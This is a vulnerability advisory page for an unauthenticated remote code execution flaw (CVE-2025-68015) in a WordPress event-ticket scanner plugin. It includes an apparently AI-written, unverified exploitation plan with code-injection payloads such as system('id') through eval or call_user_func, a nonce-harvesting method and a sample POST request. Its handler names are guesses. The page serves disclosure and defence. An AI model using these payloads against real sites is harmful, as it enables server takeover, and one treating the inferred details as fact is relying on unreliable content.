CVE-2025-68015

Event Tickets with Ticket Scanner <= 2.8.5 - Unauthenticated Remote Code Execution

criticalImproper Control of Generation of Code ('Code Injection')
9.8
CVSS Score
9.8
CVSS Score
critical
Severity
2.8.6
Patched in
29d
Time to patch

Description

The Event Tickets with Ticket Scanner plugin for WordPress is vulnerable to Remote Code Execution in all versions up to, and including, 2.8.5. This makes it possible for unauthenticated attackers to execute code on the server.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
High
Integrity
High
Availability

Technical Details

Affected versions<=2.8.5
PublishedJanuary 15, 2026
Last updatedFebruary 12, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the methodology for identifying and exploiting **CVE-2025-68015**, an unauthenticated Remote Code Execution (RCE) vulnerability in the **Event Tickets with Ticket Scanner** plugin (<= 2.8.5). ### 1. Vulnerability Summary The vulnerability is classified as **Improper Cont…

Show full research plan

This research plan outlines the methodology for identifying and exploiting CVE-2025-68015, an unauthenticated Remote Code Execution (RCE) vulnerability in the Event Tickets with Ticket Scanner plugin (<= 2.8.5).

1. Vulnerability Summary

The vulnerability is classified as Improper Control of Generation of Code ('Code Injection'). In the context of a "Ticket Scanner" plugin, this typically occurs when user-supplied input (often from a QR code scan or a manual ticket entry) is passed into a dangerous sink like eval(), mb_parse_str(), unserialize(), or used as a callback in call_user_func(). Because the scanner functionality is often intended for front-end use by staff or automated gates, an entry point may be registered via wp_ajax_nopriv_* without sufficient validation or authentication checks.

2. Attack Vector Analysis

  • Endpoint: wp-admin/admin-ajax.php (or potentially a REST API route).
  • Action: Likely prefixed with etts_ (e.g., etts_check_ticket, etts_scan_action, or etts_process_scan).
  • Parameter: A parameter carrying the ticket data, potentially ticket_id, data, or qr_code.
  • Authentication: Unauthenticated (leveraging wp_ajax_nopriv_).
  • Preconditions: The plugin must be active. A valid nonce may be required, depending on whether the developer implemented check_ajax_referer.

3. Code Flow (Methodology)

To identify the exact path, the agent will perform the following trace:

  1. Entry Point Identification:
    Find all unauthenticated AJAX handlers:
    grep -rn "wp_ajax_nopriv_" wp-content/plugins/event-tickets-with-ticket-scanner/
  2. Sink Identification:
    Search for dangerous functions within the found handlers:
    grep -rnE "eval\(|unserialize\(|call_user_func\(|call_user_func_array\(|include|require" wp-content/plugins/event-tickets-with-ticket-scanner/
  3. Trace:
    Trace the variable from $_POST or $_GET in the wp_ajax_nopriv function to the identified sink.
    Example (Inferred):
    • add_action('wp_ajax_nopriv_etts_scanner', 'etts_handle_scan');
    • function etts_handle_scan() { $data = $_POST['data']; ... eval($data); }

4. Nonce Acquisition Strategy

If the handler calls check_ajax_referer() or wp_verify_nonce(), we must retrieve a nonce.

  1. Locate Enqueued Scripts: Search for where the plugin localizes script data.
    grep -rn "wp_localize_script" wp-content/plugins/event-tickets-with-ticket-scanner/
  2. Identify the Script Handle and Object Name:
    Look for a call like: wp_localize_script( 'etts-scanner-js', 'etts_vars', array( 'nonce' => wp_create_nonce('etts-nonce') ) );
  3. Identify the Trigger: Determine which page or shortcode loads this script. Usually, it's a "Scanner" page. Search for shortcodes:
    grep -rn "add_shortcode" wp-content/plugins/event-tickets-with-ticket-scanner/
  4. Extract Nonce:
    • Action: Create a page with the found shortcode (e.g., [event_ticket_scanner]).
    • Tool: browser_navigate to that page.
    • Tool: browser_eval("window.etts_vars?.nonce") (Replace etts_vars and nonce with actual names found in step 2).

5. Exploitation Strategy

Assuming the vulnerability lies in an AJAX handler named etts_validate_ticket (inferred) that processes a data parameter:

  • Endpoint: http://localhost:8080/wp-admin/admin-ajax.php
  • Method: POST
  • Headers: Content-Type: application/x-www-form-urlencoded
  • Payload (Example - Adjust based on Sink):
    • If eval(): action=etts_validate_ticket&nonce=[NONCE]&data=phpinfo();die();
    • If unserialize(): action=etts_validate_ticket&nonce=[NONCE]&data=O:20:"GuzzleHttp\Cookie\SetCookie":1:{...} (Requires a POP chain).
    • If call_user_func(): action=etts_validate_ticket&nonce=[NONCE]&function=system&data=id

HTTP Request Payload (Example):

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
Content-Type: application/x-www-form-urlencoded

action=etts_validate_ticket&nonce=a1b2c3d4e5&data=system('id');die();

6. Test Data Setup

  1. Install/Activate: Ensure event-tickets-with-ticket-scanner version 2.8.5 is active.
  2. Page Creation: (If nonce is needed)
    wp post create --post_type=page --post_title="Scanner" --post_status=publish --post_content='[ticket_scanner_shortcode]' (Replace with actual shortcode).
  3. Permissions: No users need to be created as the exploit is unauthenticated.

7. Expected Results

  • Success: The HTTP response body contains the output of the injected code (e.g., uid=33(www-data) if id was run, or the phpinfo table).
  • Status Code: 200 OK.
  • Execution Confirmation: The script should terminate early (using die() or exit()) to avoid WordPress's default 0 or -1 AJAX response.

8. Verification Steps

After the HTTP request, verify the impact using WP-CLI:

  1. File Creation (If used as payload):
    wp eval "echo file_exists(ABSPATH . 'pwn.txt') ? 'Exploited' : 'Failed';"
  2. Log Check: Check for any errors generated in wp-content/debug.log that confirm code execution attempts.

9. Alternative Approaches

  • REST API: If no AJAX actions are found, check register_rest_route for unauthenticated endpoints:
    grep -rn "register_rest_route" wp-content/plugins/event-tickets-with-ticket-scanner/
    Look for permission_callback that returns __return_true.
  • Object Injection: If the sink is unserialize, use phpggc to generate a POP chain compatible with the environment (e.g., Monolog, Guzzle, or even WordPress core).
  • File Upload: Check if the "scanner" allows uploading "logs" or "scanned images" that aren't properly validated, leading to RCE.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Event Tickets with Ticket Scanner plugin for WordPress is vulnerable to unauthenticated Remote Code Execution (RCE) in versions up to 2.8.5. This vulnerability occurs because the plugin's ticket scanning functionality, accessible via unauthenticated AJAX handlers, fails to properly validate user-supplied input before passing it into code execution sinks.

Exploit Outline

The exploit targets the plugin's AJAX interface. An attacker first identifies an unauthenticated AJAX handler (registered via wp_ajax_nopriv_) related to ticket scanning or processing. If the handler requires a nonce, it can be obtained by viewing the source code of a front-end page where the scanner shortcode is used. The attacker then sends a POST request to /wp-admin/admin-ajax.php with the appropriate 'action' and 'nonce' parameters, along with a payload containing malicious PHP code. This payload is delivered via a parameter that reaches a dangerous PHP sink like eval(), mb_parse_str(), or call_user_func(), enabling arbitrary command execution on the host server.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.